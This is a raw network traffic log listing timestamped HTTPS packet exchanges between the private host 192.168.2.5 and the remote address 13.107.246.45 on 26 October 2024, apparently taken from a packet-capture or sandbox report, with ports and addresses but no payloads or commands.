Oct 26, 2024 13:45:27.897736073 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:28.452919006 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:28.453682899 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:28.453710079 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:28.454421997 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:28.454427004 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:28.586411953 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:28.586498022 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:28.586570978 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:28.586801052 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:28.586817980 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:28.586847067 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:28.586853981 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:28.590622902 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:28.590652943 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:28.590923071 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:28.591049910 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:28.591068029 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:28.626996040 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:28.627729893 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:28.627759933 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:28.628254890 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:28.628262043 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:28.756805897 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:28.756974936 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:28.757061958 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:28.757278919 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:28.757297993 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:28.757308960 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:28.757313967 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:28.761240959 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:28.761281013 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:28.761378050 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:28.761641026 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:28.761652946 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:29.345990896 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:29.346632004 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:29.346646070 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:29.347337008 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:29.347342968 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:29.480366945 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:29.480472088 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:29.480526924 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:29.480834007 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:29.480844975 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:29.480860949 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:29.480868101 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:29.484416008 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:29.484456062 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:29.484540939 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:29.484709024 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:29.484724998 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:29.497045040 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:29.497531891 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:29.497549057 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:29.498001099 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:29.498006105 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:29.628001928 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:29.628173113 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:29.628251076 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:29.628454924 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:29.628475904 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:29.628482103 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:29.628488064 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:29.632237911 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:29.632261992 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:29.632358074 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:29.632498026 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:29.632508993 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:29.755054951 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:29.760787010 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:29.760829926 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:29.760967016 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:29.761174917 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:29.761192083 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:30.227448940 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:30.228632927 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:30.228666067 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:30.229307890 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:30.229321003 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:30.359118938 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:30.359347105 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:30.359412909 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:30.359550953 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:30.359569073 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:30.359580040 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:30.359586000 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:30.363193989 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:30.363230944 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:30.363301992 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:30.363558054 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:30.363569975 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:30.721067905 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:30.721190929 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:30.725434065 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:30.725445032 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:30.725769043 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:30.726526976 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:30.771332026 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:30.857090950 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:30.857167006 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:30.857273102 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:30.857276917 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:30.857328892 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:30.857609034 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:30.857626915 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:30.857635021 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:30.857641935 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:30.861160994 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:30.861218929 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:30.861325979 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:30.861514091 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:30.861531019 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:31.589453936 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:31.590455055 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:31.590511084 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:31.591042995 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:31.591058969 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:31.718919992 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:31.718956947 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:31.719012976 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:31.719089031 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:31.719168901 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:31.719450951 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:31.719491005 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:31.719520092 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:31.719536066 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:31.723026037 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:31.723086119 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:31.723198891 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:31.723457098 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:31.723473072 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:32.459386110 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:32.460026979 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:32.460058928 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:32.460566044 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:32.460571051 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:32.590641975 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:32.590955973 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:32.591046095 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:32.591088057 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:32.591105938 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:32.591120005 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:32.591125965 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:32.594512939 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:32.594598055 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:32.594700098 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:32.594866991 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:32.594902039 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:33.336222887 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:33.339648962 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:33.339672089 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:33.340132952 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:33.340140104 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:33.754439116 CEST	49788	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:33.754542112 CEST	49790	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:33.757112980 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:33.757122993 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:33.757153988 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:33.757213116 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:33.757242918 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:33.757287979 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:33.757445097 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:33.757457972 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:33.757483959 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:33.757518053 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:34.410619974 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:34.410708904 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:34.410790920 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:34.411078930 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:34.411084890 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:34.411099911 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:34.411103964 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:34.414648056 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:34.414737940 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:34.414860010 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:34.415030956 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:34.415072918 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:34.508178949 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:34.508523941 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:34.508670092 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:34.508688927 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:34.509094954 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:34.509116888 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:34.509229898 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:34.509238005 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:34.509516001 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:34.509521961 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:34.640383005 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:34.640456915 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:34.640511036 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:34.640712976 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:34.640733957 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:34.640748024 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:34.640755892 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:34.641104937 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:34.641139984 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:34.641185999 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:34.641199112 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:34.641251087 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:34.642128944 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:34.642128944 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:34.642169952 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:34.642194033 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:34.644675016 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:34.644705057 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:34.644783974 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:34.644964933 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:34.644974947 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:34.645145893 CEST	49824	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:34.645176888 CEST	443	49824	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:34.645230055 CEST	49824	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:34.645359993 CEST	49824	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:34.645371914 CEST	443	49824	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:35.160012960 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:35.160644054 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:35.160681963 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:35.161462069 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:35.161468983 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:35.291490078 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:35.291660070 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:35.291743040 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:35.291939020 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:35.291964054 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:35.291979074 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:35.291985989 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:35.295232058 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:35.295272112 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:35.295382977 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:35.295531034 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:35.295543909 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:35.389516115 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:35.390104055 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:35.390114069 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:35.390621901 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:35.390628099 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:35.394691944 CEST	443	49824	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:35.395354986 CEST	49824	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:35.395376921 CEST	443	49824	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:35.395766020 CEST	49824	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:35.395781994 CEST	443	49824	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:35.526998997 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:35.527101040 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:35.527158976 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:35.527369976 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:35.527399063 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:35.527405977 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:35.527414083 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:35.528548002 CEST	443	49824	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:35.528625965 CEST	443	49824	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:35.528690100 CEST	49824	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:35.528875113 CEST	49824	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:35.528875113 CEST	49824	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:35.528898001 CEST	443	49824	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:35.528913021 CEST	443	49824	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:35.531634092 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:35.531658888 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:35.531672955 CEST	49827	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:35.531706095 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:35.531805992 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:35.531814098 CEST	49827	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:35.531939030 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:35.531950951 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:35.532177925 CEST	49827	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:35.532201052 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.032705069 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.039516926 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:36.039535999 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.040138006 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:36.040144920 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.168395042 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.168471098 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.168605089 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.168637991 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:36.168741941 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:36.169023991 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:36.169023991 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:36.169039965 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.169049025 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.172436953 CEST	49828	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:36.172480106 CEST	443	49828	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.172597885 CEST	49828	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:36.172807932 CEST	49828	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:36.172822952 CEST	443	49828	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.269195080 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.269207954 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.269854069 CEST	49827	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:36.269876003 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.269880056 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:36.269896984 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.270750046 CEST	49827	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:36.270756960 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.270872116 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:36.270886898 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.399996996 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.400059938 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.400144100 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:36.400320053 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:36.400343895 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.400355101 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:36.400360107 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.401705980 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.401747942 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.401794910 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.401804924 CEST	49827	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:36.401873112 CEST	49827	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:36.402018070 CEST	49827	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:36.402018070 CEST	49827	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:36.402038097 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.402049065 CEST	443	49827	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.404568911 CEST	49829	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:36.404609919 CEST	443	49829	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.404669046 CEST	49829	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:36.404872894 CEST	49829	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:36.404891968 CEST	443	49829	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.405481100 CEST	49830	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:36.405529976 CEST	443	49830	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.405582905 CEST	49830	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:36.405700922 CEST	49830	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:36.405711889 CEST	443	49830	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.906440973 CEST	443	49828	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.907053947 CEST	49828	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:36.907092094 CEST	443	49828	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:36.907676935 CEST	49828	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:36.907685041 CEST	443	49828	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.034564018 CEST	443	49828	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.034758091 CEST	443	49828	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.034827948 CEST	49828	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.035024881 CEST	49828	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.035048008 CEST	443	49828	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.035063028 CEST	49828	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:37.035068989 CEST	443	49828	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:37.045128107 CEST	49831	443	192.168.2.5	13.107.246.45
